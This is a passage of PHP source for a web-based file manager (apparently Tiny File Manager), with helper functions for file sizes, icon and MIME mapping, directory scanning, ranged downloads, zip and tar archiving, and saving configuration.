fm_enc(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fm_enc(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fm_enc(fm_convert_win($file_path)) ); } } /** * Check file is in exclude list * @param string $file * @return bool */ function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) && !in_array("*.$ext", $exclude_items)) { return true; } return false; } /** * get language translations from json file * @param int $tr * @return array */ function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } /** * @param string $file * Recover all file sizes larger than > 2GB. * Works on php 32bits and 64bits and supports linux * @return int|string */ function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin && class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } /** * Get nice filesize * @param int $size * @return string */ function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } /** * Get total size of directory tree. * * @param string $directory Relative or absolute directory name. * @return int Total number of bytes. */ function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false && $directory != '' && file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } /** * Get info about zip archive * @param string $path * @return array|bool */ function fm_get_zif_info($path, $ext) { if ($ext == 'zip' && function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder //'compression_method' => zip_entry_compressionmethod($zip_entry), ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' && class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("phar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } /** * Encode html entities * @param string $text * @return string */ function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } /** * Prevent XSS attacks * @param string $text * @return string */ function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } /** * Save message in session * @param string $msg * @param string $status */ function fm_set_msg($msg, $status = 'ok') { $_SESSION[FM_SESSION_ID]['message'] = $msg; $_SESSION[FM_SESSION_ID]['status'] = $status; } /** * Check if string is in UTF-8 * @param string $string * @return int */ function fm_is_utf8($string) { return preg_match('//u', $string); } /** * Convert file name to UTF-8 in Windows * @param string $filename * @return string */ function fm_convert_win($filename) { if (FM_IS_WIN && function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } /** * @param $obj * @return array */ function fm_object_to_array($obj) { if (!is_object($obj) && !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } /** * Get CSS classname for file * @param string $path * @return string */ function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } /** * Get image files extensions * @return array */ function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } /** * Get video files extensions * @return array */ function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } /** * Get audio files extensions * @return array */ function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } /** * Get text file extensions * @return array */ function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl' ); } /** * Get mime types of text files * @return array */ function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } /** * Get file names of text files w/o extensions * @return array */ function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } /** * Get online docs viewer supported files extensions * @return array */ function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } /** * It returns the mime type of a file based on its extension. * @param extension The file extension of the file you want to get the mime type for. * @return string|string[] The mime type of the file. */ function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } /** * This function scans the files and folder recursively, and return matching files * @param string $dir * @param string $filter * @return array|null */ function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } /** * Parameters: downloadFile(File Location, File Name, * max speed, is streaming * If streaming - videos will show as videos, images as images * instead of download prompt * https://stackoverflow.com/a/13821992/1164642 */ function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); if(is_array($contentType)) { $contentType = implode(' ', $contentType); } $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } /** * If the theme is dark, return the text-white and bg-dark classes. * @return string the value of the variable. */ function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } /** * Class to work with zip files (using ZipArchive) */ class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } /** * Class to work with Tar files (using PharData) */ class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } /** * Save Configuration */ class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'Tiny File Manager
Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
'; $msg .= '
Seems like you have a trailing slash on the URL.'; $msg .= '
Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) && count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[FM_SESSION_ID]['message'] . '

'; unset($_SESSION[FM_SESSION_ID]['message']); unset($_SESSION[FM_SESSION_ID]['status']); } } /** * Show page header in Login Form */ function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fm_enc(APP_TITLE) ?>